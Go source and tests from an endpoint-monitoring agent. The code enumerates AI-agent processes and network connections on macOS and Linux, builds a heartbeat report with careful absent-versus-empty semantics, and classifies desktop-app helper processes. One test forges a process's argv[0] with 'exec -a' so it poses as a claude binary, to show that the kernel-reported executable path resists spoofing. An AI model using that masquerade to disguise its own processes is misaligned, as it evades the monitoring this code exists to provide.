// The observe plane's payload, for a pairing entitled to it. Absent — not
// empty — for one that is not: see the `observing` note above. The box is
// not retracting what it saw, it has stopped being allowed to say — and
// what the HOST does with the absence differs per key, so this comment
// used to overstate it ("the host COALESCEs an absent key"). Checked against
// the host: `peers`, `posture`, `machine_record_dropped` and
// `schedulers` are COALESCEd (the last reading survives); `scheduler_scan`
// is overwritten with NULL — and NULL there is the quiet-vs-blind
// discriminator, so that reads as "not looked", not as "nothing
// scheduled"; a pending containment is HELD on a beat without `agents`.
// Each host column states its own rule; none of them reads an absent key
// as an all-clear.
if observing {
// WITHHELD, not emptied, when the walk fails. An empty list from a box
// that advertises agent-observe means "looked, nothing there" to the
// host — it clears a kill order the user placed. A walk that did not
// happen sends no key; the host holds the order until one that did.
if agents, err := scanAgents(); err == nil {
body["agents"] = agents
// The positive signal that this list was MEASURED. A build before
// this one sent an empty list for a failed walk too, and the host
// cannot tell those apart by the list alone; it clears a pending
// containment only when this key says the walk happened, and
// holds (then lapses) an order for a box that never says so.
body["agent_scan_ok"] = true
} else if agentScanSupported {
// Printed only where a failure is news: a build with no enumerator
// fails every beat by construction, and the withheld capability
// already says so — a line per beat there would bury the real
// transient failures this print exists for.
fmt.Printf("observe: agent scan failed this beat (%v) — agents withheld from the heartbeat\n", err)
}
// Which enumerator produced that list ("proc+ss", "ps+lsof",
// "toolhelp+iphlpapi", "unsupported"). The platform has no column for
// it and ignores unknown fields; it travels for the operator's eyes
// when debugging a box, the same way freeagent_ok does. The DECISION
// signal is the "agent-observe" capability above, which IS stored.
body["agent_scan"] = agentScanKind
// Scheduled entries that match the agent/automation tables, and how
// much was scanned to find them — so "no scheduled agents" from a box
// that read 0 crontabs is visibly different from one that read 40.
body["schedulers"] = schedEntries
body["scheduler_scan"] = schedScan
// Where this machine keeps its own record — the findings journal and
// the signed accounting (machinestore.go, baselinesign.go). The host
// drafts a machine store at this root for the user to approve, once;
// until they do,
// nothing reads it. A path, reported, not a grant.
//
// INSIDE THE `observing` GATE, with the other path-bearing keys. The
// value is <os.UserConfigDir()>/privatae-bastion/store — which names
// the operator's OS account (/home/<user>/…, /Users/<user>/…,
// C:\Users\<user>\…). The rule the surrounding keys follow is that
// material naming programs and paths travels only to a pairing
// granted `observe`; the first version sent this ungated, on every
// beat, to pairings the code above takes care to send no paths to.
// Reading the record IS observing, so a pairing without it gets no
// root and therefore no draft — which is the correct outcome.
if root, err := storeRootPath(); err == nil && root != "" {
body["machine_record_root"] = root
}
// Results the record could NOT keep, per shelf. ALWAYS present inside
// this gate — an empty object when the record is whole — and absent
// only when this pairing is not entitled to observe. The first version
// omitted the key at zero, and the host then had two sources of
// absence it could not tell apart: "whole" and "no longer allowed to
// say" (the observe switch in the console, no restart, holes still
// accumulating). It overwrote a populated column with NULL and called
// the machine whole. This is the nil-vs-empty contract `peers` keeps
// on this same beat (below): empty is a real state and must travel;
// absent means not entitled, and the host keeps what it has.
d := storeObserveDroppedSnapshot()
if d == nil {
d = map[string]int64{}
}
body["machine_record_dropped"] = d
}
// What this box did with the findings THIS pairing asked it to stop
// (containfinding.go). Outside the observe gate: it carries fingerprints
// the host itself sent and an outcome word, nothing the host did not
// already hold. ALWAYS present, an empty list when there is nothing to
// report, so the host can tell a box that has answered nothing from one
// that predates the key (absent) — the second holds an order until it
// lapses rather than reading silence as done.
body["contain_results"] = containResultsReport(self)
// Mirror state as THIS box sees it. The host does not trust this for lag —
// it reads pg_stat_replication on the primary, the one place that cannot be
// talked into a comforting number. What it carries is the set of states the
// primary genuinely cannot observe: no runtime, image not downloaded,
// container dead, version mismatch. Sent only once a mirror exists, so a
// bastion that holds none adds no field.
if mirror != nil && mirror.State != "absent" {
body["mirror"] = *mirror
}
// NAC agent: what this box is ENFORCING, so the host's posture
// is a comparison against what it granted, not this self-reported string.
// device_health stays for hosts that predate the report.
if enforcing != nil {
body["enforcing"] = enforcing
}
// Peer announcement: the OTHER hosts this machine serves, so a
// host learns it shares a box with them. Name and handle only — peers.go
// says why that boundary is load-bearing.
//
// nil vs EMPTY is the whole contract, and both halves must agree on it:
// nil — we could not enumerate the pairings. Say nothing; the host keeps
// what it has (peers = COALESCE(EXCLUDED.peers, stored)). An older
// bastion sends no key at all and lands here too, which is why
// absence can never be read as "serves only this host".
// empty — we DID enumerate and there are no others. That is a real state
// change (the user unpaired the last other host) and it must
// travel, or the host lists peers this machine no longer serves
// for good.
// So the test is `peers != nil`, not `len(peers) > 0`.
if peers != nil {
body["peers"] = peers
}
// Machine ownership: who owns this box, if anyone has said.
// Absent when nobody has, which is the normal state — the host just shows no
// owner line. Grants nothing anywhere.
if oc := currentOwnerClaim(); oc != nil {
body["owner_claim"] = oc
}
// The detection plane's summary line (deltarun.go): how many
// findings stand against this machine's accounting, and — just as important
// — whether there IS an accounting to stand against. A box with no baseline
// reports `baseline: none` rather than zero findings, so "nothing has
// changed here" and "nobody ever said what normal was" can never read the
// same on the host's card. Absent until the first pass completes, the way
// posture is.
if d := deltaPayload(); d != nil {
body["findings"] = d
}
// Host posture (observe_ops.go): the sentinel HOST_PROBE fields,
// folded in so SEEING posture costs no management grant. Cached for
// 5 minutes (posturePayload says why, with the measured cost); Linux only,
// and absent — no key — everywhere else, so a host never reads "ufw:
// absent" from a box that could not have looked.
if hp := posturePayload(); hp != nil {
body["posture"] = hp
}
// The Alertmanager summary (observe_pull.go): how many alerts are
// firing against the infrastructure this box sits on, folded in the way
// findings and posture are, so the host learns of a critical without
// spending a management op on every beat. The rows are pulled on demand
// with observe:alerts; only the counts, the oldest start and up to twenty
// fingerprints ride the beat.
//
// ABSENT — no key — when no endpoints file names an alertmanager, and
// absent until the first successful refresh. That is the peers rule above
// applied here, and it matters more: a zero `firing` from a box that has no
// Alertmanager to ask would read as an all-clear from a machine nobody is
// watching.
//
// UNGATED — outside `observing`, like posture and findings and unlike agents
// and schedulers. Settled here so the next reader does not re-litigate it:
//
// - What `observing` gates is the machine's CONTENT. `agents` is the
// process list of someone's computer and `schedulers` is what is set to
// run on it; both name programs and paths, so a host scoped to one model
// has no business receiving them.
// - This carries counts and opaque fingerprints. No alert names, no labels,
// no hostnames — a fingerprint is an Alertmanager hash that resolves to
// nothing without the Alertmanager. The ROWS, which do carry labels, live
// behind observe:alerts, and that op is grant-gated like every other.
// - The design's rule is that SEEING a machine's health costs no grant —
// §8 folds posture into the beat precisely so that "*seeing* posture
// costs no grant". A host told this box is unhealthy, and able to learn
// nothing more about why without a grant, is the intended shape.
if al := alertsPayload(); al != nil {
body["alerts"] = al
}
// Mode (2026-09-08, mode.go): local or networked, on EVERY beat, so a host
// can never mistake one shape for the other when it reads the box's card.
body["mode"] = boxMode()
// Anchor (anchor.go): who approves pairings on this box. Absent when the
// box is not anchored — every local bastion. The verify key stays home.
anchor := currentAnchor()
if anchor != nil {
body["anchor"] = anchor
// The anchor host alone gets the full list — every pairing including
// the pending ones it is being asked to approve, and itself.
if self != "" && anchor.AnchorHost == self {
if list := pairingsReport(); list != nil {
body["pairings"] = list
}
}
}
// A pairing left pending past unapprovedAfter is an attempt someone did
// not approve. Every host on the box hears about it — that is the
// intrusion signal. Same nil-vs-empty rule as peers: an enumerated
// "none" travels as [] so the host's COALESCE can clear a past attempt;
// the key is absent only when the pairings could not be read.
if u := unapprovedAttempts(time.Now()); u != nil {
body["unapproved_pairing_attempts"] = u
}
// Another bastion installed on this machine (otherbastions.go).
// The singleton refuses new ones; this is how a host hears about
// the ones already on disk, or any that got around the refusal. Every host
// on the box is told, like unapproved attempts above — a second bastion
// affects all of them, not only the anchor.
//
// Same nil-vs-empty contract, and here it carries extra weight: the key is
// absent on any box that could not LOOK (not root, not Linux), so a host
// never reads "no second bastion" off a box that never checked.
if ob := otherBastionsPayload(); ob != nil {
body["other_bastions"] = ob
// WHEN it was looked at, beside what was found. A scan that stops
// completing keeps publishing its last answer, and if that answer is []
// the host would read "clean" for ever with nothing to say otherwise.
if at := otherBastionsScannedAt(); at != "" {
body["other_bastions_scanned_at"] = at
}
}
if piiAdvertised {
body["pii_port"] = piiForwardPort
body["pii_ok"] = piiOK
}
if faAdvertised {
body["freeagent_ok"] = faOK
if st := faManagedStatus(); len(st) > 0 {
body["freeagent_stores"] = st
}
}
data, err := json.Marshal(body)
if err != nil {
return `{"tunnel_status":"up","device_health":"healthy"}`
}
return string(data)
}
func splitNul(raw []byte) []string {
out := []string{}
for _, p := range strings.Split(string(raw), "\x00") {
if p != "" {
out = append(out, p)
}
}
return out
}
// parseEnvToken extracts ONE env var's value from a NUL-separated environment blob. Only
// the named var is ever returned — the rest of the process's environment is never read out.
func parseEnvToken(environ []byte, key string) string {
pre := key + "="
for _, kv := range strings.Split(string(environ), "\x00") {
if strings.HasPrefix(kv, pre) {
return kv[len(pre):]
}
}
return ""
}
func containsStr(s []string, v string) bool {
for _, x := range s {
if x == v {
return true
}
}
return false
}
func truncate(s string, n int) string {
if len(s) > n {
return s[:n]
}
return s
}
+216
View File
@@ -0,0 +1,216 @@
//go:build darwin
package main
import (
"errors"
"fmt"
"os"
"os/exec"
"strconv"
"strings"
"sync"
"golang.org/x/sys/unix"
)
// macOS enumeration for the observe plane.
//
// Both enumerators shell out, exactly as the Linux side already does for `ss`:
// `ps` for processes and `lsof` for established connections. Both ship with
// every macOS install, and their output is stable and parseable — the parsers
// below are pure functions, unit-tested from any OS with captured fixtures,
// which is the only way this code gets tested at all in a Linux CI.
//
// Not used FOR ARGV AND THE ENVIRONMENT: sysctl KERN_PROCARGS2. It would give
// both in one syscall, but that use needs the whole layout — including the '='
// heuristic Apple's own ps calls a guess — and on a SIP-hardened machine the
// environment half is refused for exactly the processes worth reading. A
// shell-out that works everywhere beats a syscall that works sometimes, for a
// signal explicitly documented as soft.
//
// It IS used for one thing, and the exception is narrow on purpose: procExe
// reads the single null-terminated string the kernel writes at the front of
// that blob, which is the executable path and the only value here a process
// cannot choose for itself. `ps` cannot answer that question at all — it skips
// that string by design — so there was no shell-out to prefer. See procExe.
const (
agentScanSupported = true
agentScanKind = "ps+lsof"
)
// psCache holds the whole `ps` sweep from the current scan so the per-pid
// lookups the shared code makes for a connection-only process cost nothing
// extra. Refreshed by scanProcesses, which always runs first in scanAgents.
var psCache = struct {
sync.Mutex
user map[int]string
args map[int]string
parent map[int]int
}{user: map[int]string{}, args: map[int]string{}, parent: map[int]int{}}
// psSweep runs the one `ps` this plane needs and parses it. ppid rides in the
// same call so the parent map costs no second process spawn.
func psSweep() (map[int]string, map[int][]string, map[int]int, error) {
data, err := exec.Command("ps", "-axo", "pid=,ppid=,user=,args=").Output()
if err != nil {
return nil, nil, nil, fmt.Errorf("ps sweep: %w", err)
}
users, argvs, parents := parsePSOutput(string(data))
if len(users) == 0 {
// ps lists at least itself; nothing parsed is output this code could
// not read, not an empty machine.
return nil, nil, nil, errors.New("ps sweep: no processes parsed")
}
return users, argvs, parents, nil
}
// scanProcesses: an error is a sweep that did not happen, never an empty box;
// the heartbeat withholds `agents` for it.
func scanProcesses() (map[int]agentObs, error) {
out := map[int]agentObs{}
users, argvs, parents, err := psSweep()
if err != nil {
return nil, err
}
self := os.Getpid()
psCache.Lock()
psCache.user = users
psCache.parent = parents
psCache.args = map[int]string{}
for pid, argv := range argvs {
psCache.args[pid] = strings.Join(argv, " ")
}
psCache.Unlock()
for pid, argv := range argvs {
if pid == self {
continue
}
sig, auto, ok := matchSignature(argv)
if !ok {
continue
}
full := strings.Join(argv, " ")
out[pid] = agentObs{PID: pid, User: users[pid], Signature: sig,
Cmdline: truncate(full, 200), Exe: procExe(pid),
DelegationToken: procEnvToken(pid), raw: full, automation: auto}
}
return out, nil
}
// procParent answers from the sweep scanProcesses just took.
func procParent(pid int) int {
psCache.Lock()
defer psCache.Unlock()
return psCache.parent[pid]
}
// processParents takes a FRESH sweep: contain must walk the tree as it is
// now, not as it was when the heartbeat was built.
func processParents() map[int]int {
_, _, parents, err := psSweep()
ok := err == nil
if !ok {
return map[int]int{}
}
return parents
}
func scanConnections() []connObs {
// -n/-P: no DNS or service-name lookups (fast, and never blocks a beat on
// a slow resolver). -Fpn: machine-readable pid + name fields only.
data, err := exec.Command("lsof", "-nP", "-iTCP", "-sTCP:ESTABLISHED", "-Fpn").Output()
if err != nil && len(data) == 0 {
// lsof exits non-zero when some file is unreadable while still printing
// the rest; only a truly empty result is a failure.
return []connObs{}
}
return parseLsofOutput(string(data), os.Getpid())
}
func procUser(pid int) string {
psCache.Lock()
defer psCache.Unlock()
return psCache.user[pid]
}
func procCmdline(pid int) string {
psCache.Lock()
c := psCache.args[pid]
psCache.Unlock()
if c != "" {
return truncate(c, 200)
}
out, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
if err != nil {
return ""
}
return truncate(strings.TrimSpace(string(out)), 200)
}
// procExe is the KERNEL's record of which file this process runs, read out of
// KERN_PROCARGS2 and decoded by parseProcargs2ExePath (agents_parse.go).
//
// NOT `ps -o comm=`, and that correction is the point of this function.
//
// Three comments in this tree said comm was the executable path from the
// kernel — origin_darwin.go's header, origin.go's procFacts.Exe, and
// sanction.go's list of what each platform supplies. It is argv[0]. Apple's ps
// maps the `comm` keyword to just_command (adv_cmds ps/keyword.c:101), which
// calls getproclline (ps/print.c:115), and getproclline's own comment is
// "/* Skip the saved exec_path. */" immediately before it starts copying at
// argv[0]. So `ps -o comm=` on macOS is a string the launcher chose, which is
// precisely what a sanction must stop being keyed on. All three comments now
// say what it is, and each records what it used to claim, so the next person
// does not re-derive the wrong answer from a plausible-sounding man page.
//
// WHY THE SYSCTL THIS FILE'S HEADER REJECTED. The header rejects
// KERN_PROCARGS2 for argv AND THE ENVIRONMENT: that use needs the whole
// layout, including the '=' heuristic ps itself calls a guess, and the env half
// is what SIP withholds. This reads ONE null-terminated string at a fixed
// offset — the prefix the kernel writes before anything else. It also adds no
// failure mode the file did not already have: `ps -axo args=` IS this sysctl
// (getproclline again), so every process whose command line the sweep above
// could read is one this can read, and every process it could not is one where
// ps already printed "(comm)" in parentheses instead of a command.
//
// Refused (another user's process without root — xnu bsd/kern/kern_sysctl.c
// sysctl_procargsx checks uid against the caller's) yields "", the same
// conservative outcome as procEnvToken below.
//
// The whole blob is read, never a bounded window: when the buffer is smaller
// than the argument area the kernel copies out its TAIL, not its head
// (sysctl_procargsx, the `buflen < argslen` branch), so a cheap short read
// would return the end of the environment and this would parse rubbish. The
// cost is bounded by what ps already pays for every process on the box.
func procExe(pid int) string {
buf, err := unix.SysctlRaw("kern.procargs2", pid)
if err != nil {
return ""
}
return parseProcargs2ExePath(buf)
}
// procEnvToken reads the host-issued delegation tag (PRIVATAE_AGENT_TOKEN) via
// `ps -E`, which appends the environment to the command.
//
// Best-effort by nature: macOS only discloses another process's environment to
// the same user (and SIP withholds it for protected binaries regardless), so
// this is often empty. That is the SAME conservative outcome as Linux when
// /proc/PID/environ is unreadable — an agent with no readable tag reads as
// unrequested, which surfaces it to the user rather than hiding it.
func procEnvToken(pid int) string {
out, err := exec.Command("ps", "-Eww", "-p", strconv.Itoa(pid), "-o", "command=").Output()
if err != nil {
return ""
}
for _, name := range agentTokenEnvNames {
if tok := parseEnvTokenSpaced(string(out), name); tok != "" {
return tok
}
}
return ""
}
+120
View File
@@ -0,0 +1,120 @@
//go:build linux
package main
// procExe against REAL processes on this machine (agents_linux.go).
//
// Everything else about the exe identity is proven with fixtures, which is the
// right way to test a rule. But the CLAIM underneath the whole change is about
// what an operating system does — "argv[0] is chosen by the launcher, the
// executable path is not" — and a fixture cannot establish that. These two
// tests ask the kernel.
//
// Linux only, and that is honest rather than a gap: this is the platform the
// test runner is on, and a claim about macOS or Windows behaviour must not be
// asserted by a Linux box. Their paths are exercised through
// parseProcargs2ExePath and the offsets in agents_windows.go.
import (
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"time"
)
// The simplest true statement available: this test binary's own executable.
// No fixture, no stub — if procExe cannot answer for a process that is
// certainly running, nothing else in this file means anything.
//
// MUTATION: read /proc/<pid>/cmdline instead of /proc/<pid>/exe in procExe.
// RESULT: red — the answer became the go test command line, which is not a
// path to anything.
func TestProcExeAnswersTheKernelForThisProcess(t *testing.T) {
self, err := os.Executable()
if err != nil {
t.Skipf("this machine cannot name its own executable: %v", err)
}
got := procExe(os.Getpid())
if got == "" {
t.Fatal("procExe could not read this process's own executable")
}
if got != self {
t.Errorf("procExe(self) = %q, want %q (os.Executable)", got, self)
}
if !filepath.IsAbs(got) {
t.Errorf("procExe returned a relative path %q — sanitizeExePath must have dropped it", got)
}
}
// THE MEASUREMENT THE WHOLE CHANGE RESTS ON, run against the kernel rather
// than quoted from a comment: a process can present any argv[0] it likes, and
// /proc/<pid>/exe still names the file that was actually loaded.
//
// This is the forgery TestAForgedArgv0FromADifferentExecutableIsNotSanctioned
// (sanction_test.go) refuses, performed for real. If this test ever fails on a
// platform, the identity in sanction.go is not worth what it claims there and
// the header's cost analysis has to be rewritten.
//
// MUTATION: return sanitizeExePath(procCmdline(pid)) from procExe.
// RESULT: red — exe came back as the forged /tmp/.../claude, matching argv[0]
// exactly, which is the defect this exists to catch.
func TestProcExeIgnoresAForgedArgv0(t *testing.T) {
bash, err := exec.LookPath("bash")
if err != nil {
t.Skipf("no bash on this machine: %v", err)
}
sleepBin, err := exec.LookPath("sleep")
if err != nil {
t.Skipf("no sleep on this machine: %v", err)
}
// A path that does not exist, deliberately: the forgery needs no file at
// all, which is exactly what made argv[0] worthless as an identity.
const claimed = "/home/user/.local/bin/claude"
cmd := exec.Command(bash, "-c", "exec -a "+claimed+" "+sleepBin+" 30")
if err := cmd.Start(); err != nil {
t.Fatalf("starting the forger: %v", err)
}
pid := cmd.Process.Pid
t.Cleanup(func() {
_ = cmd.Process.Kill()
_ = cmd.Wait()
})
// bash execs into sleep in place, keeping the pid. Wait for that to happen
// rather than sleeping a fixed amount.
var cmdline, exe string
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
cmdline, exe = procCmdline(pid), procExe(pid)
if strings.HasPrefix(cmdline, claimed) {
break
}
time.Sleep(20 * time.Millisecond)
}
if !strings.HasPrefix(cmdline, claimed) {
t.Fatalf("the forger never took its new name: cmdline=%q", cmdline)
}
// What the process SAYS it is.
if got := argv0(cmdline); got != claimed {
t.Fatalf("argv[0] = %q, want the forged %q", got, claimed)
}
// What the KERNEL says it is.
if exe == "" {
t.Fatal("procExe read nothing for a process this test started itself")
}
if exe == claimed {
t.Fatalf("procExe returned the forged path %q — it is reading the command "+
"line, not /proc/<pid>/exe, and every identity in sanction.go built on "+
"it is forgeable by one exec", exe)
}
if filepath.Base(exe) != "sleep" {
t.Errorf("procExe = %q, want the sleep binary that is actually running", exe)
}
if _, err := os.Stat(exe); err != nil {
t.Errorf("procExe named %q, which is not a file on this machine: %v", exe, err)
}
}
+384
View File
@@ -0,0 +1,384 @@
package main
import (
"os"
"sort"
"testing"
)
// Kind classification. The fixture below is the measured shape
// that produced the false alarm: the Claude DESKTOP app on Windows, installed
// from the Store, with its eight Chromium helpers — every one of them
// `claude.exe`, every one of them matched as "claude-code".
const winClaudeExe = `"C:\Program Files\WindowsApps\Claude_1.40609.1.0_x64__pzs8sxrjxfjjc\app\claude.exe"`
func claudeDesktopSnapshot() (map[int]agentObs, func(int) int) {
helpers := map[int]string{
5948: ` --type=renderer --user-data-dir="C:\Users\u\AppData\Roaming\Claude" --standard-schemes`,
11168: ` --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US`,
28084: ` --type=gpu-process --user-data-dir="C:\Users\u\AppData\Roaming\Claude"`,
29304: ` --type=crashpad-handler --user-data-dir=C:\Users\u\AppData\Roaming\Claude`,
33640: ` --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService`,
37528: ` --type=renderer --user-data-dir="C:\Users\u\AppData\Roaming\Claude"`,
37616: ` --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US`,
38520: ` --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US`,
}
byPid := map[int]agentObs{
4532: {PID: 4532, Signature: "claude-code", Cmdline: winClaudeExe, raw: winClaudeExe},
// Claude Code itself, in a terminal: stays an agent.
7000: {PID: 7000, Signature: "claude-code", Cmdline: "claude --resume", raw: "claude --resume"},
// A macOS app bundle with no helper of its own in the candidate set.
8000: {PID: 8000, Signature: "cursor", Cmdline: "/Applications/Cursor.app/Contents/MacOS/Cursor",
raw: "/Applications/Cursor.app/Contents/MacOS/Cursor"},
}
for pid, args := range helpers {
full := winClaudeExe + args
byPid[pid] = agentObs{PID: pid, Signature: "claude-code", Cmdline: truncate(full, 200), raw: full}
}
parent := func(pid int) int {
switch {
case helpers[pid] != "":
return 4532
case pid == 4532:
return 1200 // explorer
case pid == 7000:
return 6000 // a shell
case pid == 8000:
return 1 // launchd
}
return 0
}
return byPid, parent
}
func TestArgv0AndBundleRoot(t *testing.T) {
cases := map[string]string{
winClaudeExe + ` --type=renderer`: `C:\Program Files\WindowsApps\Claude_1.40609.1.0_x64__pzs8sxrjxfjjc\app\claude.exe`,
"/usr/local/bin/claude --resume": "/usr/local/bin/claude",
"claude": "claude",
"'/Applications/Foo Bar.app/Contents/MacOS/foo' --type=gpu": "/Applications/Foo Bar.app/Contents/MacOS/foo",
"": "",
}
for in, want := range cases {
if got := argv0(in); got != want {
t.Errorf("argv0(%q) = %q, want %q", in, got, want)
}
}
if got := bundleRoot("/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"); got != "/applications/google chrome.app/" {
t.Errorf("bundleRoot must be the OUTERMOST bundle, got %q", got)
}
if got := bundleRoot("/usr/local/bin/claude"); got != "" {
t.Errorf("no bundle = %q", got)
}
}
// A helper is a --type= process whose PARENT runs the same program. The flag
// alone must never be enough: that would let any process vanish by adding it.
func TestIsGUIHelperNeedsSameProgramParent(t *testing.T) {
helper := winClaudeExe + ` --type=renderer --user-data-dir="C:\x"`
if !isGUIHelper(helper, winClaudeExe) {
t.Error("a --type= child of the same exe is a helper")
}
if !isGUIHelper("/opt/Claude/claude --type=zygote", "/opt/Claude/claude") {
t.Error("linux same-binary helper")
}
chromeHelper := "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU) --type=gpu-process"
if !isGUIHelper(chromeHelper, "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome") {
t.Error("macOS helper in the same outer bundle is a helper")
}
// The evasion / false-positive reproduced here: an agent whose
// PROMPT mentions the flag, under a shell.
if isGUIHelper("claude -p add a --type=json flag to the export command", "-bash") {
t.Error("an agent mentioning --type= under a shell is NOT a helper")
}
if isGUIHelper("foo --type=x", "") {
t.Error("no parent command line: never a helper")
}
if isGUIHelper(winClaudeExe, winClaudeExe) {
t.Error("no --type= flag: not a helper even under the same exe")
}
if hasTypeFlag("node cli.js --type-check") {
t.Error("a flag that merely starts with the marker is not the marker")
}
}
func TestClassifyObservationsClaudeDesktop(t *testing.T) {
byPid, parent := claudeDesktopSnapshot()
helperRoot := classifyObservations(byPid, parent)
if len(helperRoot) != 8 {
t.Fatalf("want 8 helpers collapsed, got %d: %v", len(helperRoot), helperRoot)
}
for pid, root := range helperRoot {
if root != 4532 {
t.Errorf("helper %d attributed to %d, want 4532", pid, root)
}
if _, still := byPid[pid]; still {
t.Errorf("helper %d must be dropped from the report", pid)
}
}
if len(byPid) != 3 {
t.Fatalf("want 3 observations (app, agent, bundle app), got %d: %+v", len(byPid), byPid)
}
app := byPid[4532]
if app.Kind != kindApp || app.Signature != "claude-desktop" || app.PPID != 1200 {
t.Errorf("the desktop app = %+v, want kind=app signature=claude-desktop ppid=1200", app)
}
cli := byPid[7000]
if cli.Kind != kindAgent || cli.Signature != "claude-code" || cli.PPID != 6000 {
t.Errorf("claude code in a terminal = %+v, want kind=agent signature=claude-code", cli)
}
bundle := byPid[8000]
if bundle.Kind != kindApp || bundle.Signature != "cursor-app" {
t.Errorf("a .app bundle = %+v, want kind=app signature=cursor-app", bundle)
}
}
// Four rules pinned here: an agent that mentions the flag
// stays an agent; a bundle path as an ARGUMENT is not a bundle; a helper with
// an unreadable parent is never pinned to pid 0; nested helpers resolve to
// the app.
func TestClassifyObservationsEdges(t *testing.T) {
mention := "claude -p add a --type=json flag to the export command"
byPid := map[int]agentObs{
7000: {PID: 7000, Signature: "claude-code", Cmdline: mention, raw: mention},
7001: {PID: 7001, Signature: "aider", Cmdline: "aider /Applications/Foo.app/Contents/MacOS/foo.swift",
raw: "aider /Applications/Foo.app/Contents/MacOS/foo.swift"},
// a --type= candidate whose parent cannot be read
7002: {PID: 7002, Signature: "claude-code", Cmdline: winClaudeExe + " --type=gpu-process", raw: winClaudeExe + " --type=gpu-process"},
// zygote pattern: browser → zygote helper → renderer helper
4532: {PID: 4532, Signature: "claude-code", Cmdline: "/opt/Claude/claude", raw: "/opt/Claude/claude"},
4600: {PID: 4600, Signature: "claude-code", Cmdline: "/opt/Claude/claude --type=zygote", raw: "/opt/Claude/claude --type=zygote"},
4601: {PID: 4601, Signature: "claude-code", Cmdline: "/opt/Claude/claude --type=renderer", raw: "/opt/Claude/claude --type=renderer"},
}
parents := map[int]int{7000: 6000, 7001: 6000, 7002: 0, 4532: 1200, 4600: 4532, 4601: 4600}
helperRoot := classifyObservations(byPid, func(pid int) int { return parents[pid] })
if a := byPid[7000]; a.Kind != kindAgent || a.Signature != "claude-code" {
t.Errorf("an agent mentioning --type= must stay an agent, got %+v", a)
}
if a := byPid[7001]; a.Kind != kindAgent || a.Signature != "aider" {
t.Errorf("a bundle path as an argument must not make an app, got %+v", a)
}
if a, ok := byPid[7002]; !ok || a.Kind != kindAgent {
t.Errorf("a --type= candidate with an unreadable parent stays reported as what it matched, got %+v (present=%v)", a, ok)
}
if _, phantom := helperRoot[7002]; phantom {
t.Error("an unreadable parent must never produce a helper root")
}
if helperRoot[4600] != 4532 || helperRoot[4601] != 4532 {
t.Errorf("nested helpers must resolve to the app, got %v", helperRoot)
}
if a := byPid[4532]; a.Kind != kindApp || a.Signature != "claude-desktop" {
t.Errorf("the app owning nested helpers = %+v", a)
}
for _, pid := range []int{4600, 4601} {
if _, still := byPid[pid]; still {
t.Errorf("helper %d must be dropped", pid)
}
}
if _, phantom := byPid[0]; phantom {
t.Error("pid 0 must never be observed")
}
}
// The helper that actually holds the socket (network.mojom.NetworkService)
// is credited to the app, so "Claude desktop, talking to api.anthropic.com"
// is one observation — and a helper never becomes a "client".
func TestMergeConnectionsAttributesHelperSocketsToTheApp(t *testing.T) {
byPid, parent := claudeDesktopSnapshot()
helperRoot := classifyObservations(byPid, parent)
cloud := map[string]string{"1.2.3.4": "api.anthropic.com"}
strong := map[int]string{11434: "ollama"}
weak := map[int]string{}
info := func(pid int) procDetail {
return procDetail{User: "u", Cmdline: byPid[pid].raw, Exe: byPid[pid].Exe}
}
conns := []connObs{{PID: 11168, RemoteIP: "1.2.3.4", RemotePort: 443}}
for i := range conns {
if root, ok := helperRoot[conns[i].PID]; ok {
conns[i].PID, conns[i].ViaHelper = root, true
}
}
mergeConnections(byPid, conns, cloud, strong, weak, info, parent)
if got := byPid[4532].LLMEndpoints; len(got) != 1 || got[0] != "api.anthropic.com" {
t.Fatalf("the app must carry its helper's endpoint, got %v", got)
}
if _, leaked := byPid[11168]; leaked {
t.Fatal("a helper must never appear as its own observation")
}
if byPid[4532].Kind != kindApp {
t.Fatalf("annotating must not change the kind, got %+v", byPid[4532])
}
if _, phantom := byPid[0]; phantom {
t.Fatal("pid 0 must never be observed")
}
}
// An unknown Chromium helper (a browser tab calling a model API) is the
// user's APP, attributed to its parent — never a disguised-agent "client".
// An unknown process that merely MENTIONS the flag is an ordinary client, and
// the shell above it is never blamed.
func TestMergeConnectionsUnknownHelperBecomesAnApp(t *testing.T) {
cloud := map[string]string{"1.2.3.4": "api.openai.com"}
strong := map[int]string{11434: "ollama"}
weak := map[int]string{}
chrome := `"C:\Program Files\Google\Chrome\Application\chrome.exe"`
cmd := map[int]string{
700: chrome,
750: chrome + ` --type=zygote`,
800: chrome + ` --type=utility --utility-sub-type=network.mojom.NetworkService`,
900: `"C:\x\orphan.exe" --type=renderer`,
1000: "-bash",
1001: "python3 agent.py --type=fast", // mentions the flag; parent is a shell
}
parents := map[int]int{800: 750, 750: 700, 700: 4, 900: 1, 1001: 1000, 1000: 5}
// The kernel's executable path per pid. A helper and its app run the same
// binary in life; here they are given DIFFERENT paths on purpose, so the
// assertion below can tell which one the observation kept.
exe := map[int]string{
700: `C:\Program Files\Google\Chrome\Application\chrome.exe`,
750: `C:\Program Files\Google\Chrome\Application\zygote.exe`,
800: `C:\Program Files\Google\Chrome\Application\helper.exe`,
900: `C:\x\orphan.exe`,
1001: `/usr/bin/python3`,
}
info := func(pid int) procDetail {
return procDetail{User: "u", Cmdline: cmd[pid], Exe: exe[pid]}
}
parent := func(pid int) int { return parents[pid] }
byPid := map[int]agentObs{}
mergeConnections(byPid, []connObs{
{PID: 800, RemoteIP: "1.2.3.4", RemotePort: 443},
{PID: 900, RemoteIP: "1.2.3.4", RemotePort: 443}, // parent is init: dropped
{PID: 1001, RemoteIP: "1.2.3.4", RemotePort: 443}, // not a helper: a client
}, cloud, strong, weak, info, parent)
for _, pid := range []int{800, 750, 0, 1, 1000} {
if _, ok := byPid[pid]; ok {
t.Errorf("pid %d must not be observed: %+v", pid, byPid[pid])
}
}
// A --type= process whose parent is init (or unreadable) has no app to be
// credited to: it is reported under its OWN pid as a client — visible and
// containable — never as a phantom pid-0 app, never silently dropped.
if c, ok := byPid[900]; !ok || c.Kind != kindClient || c.PID != 900 {
t.Errorf("an orphaned --type= process is a client under its own pid, got %+v", byPid[900])
}
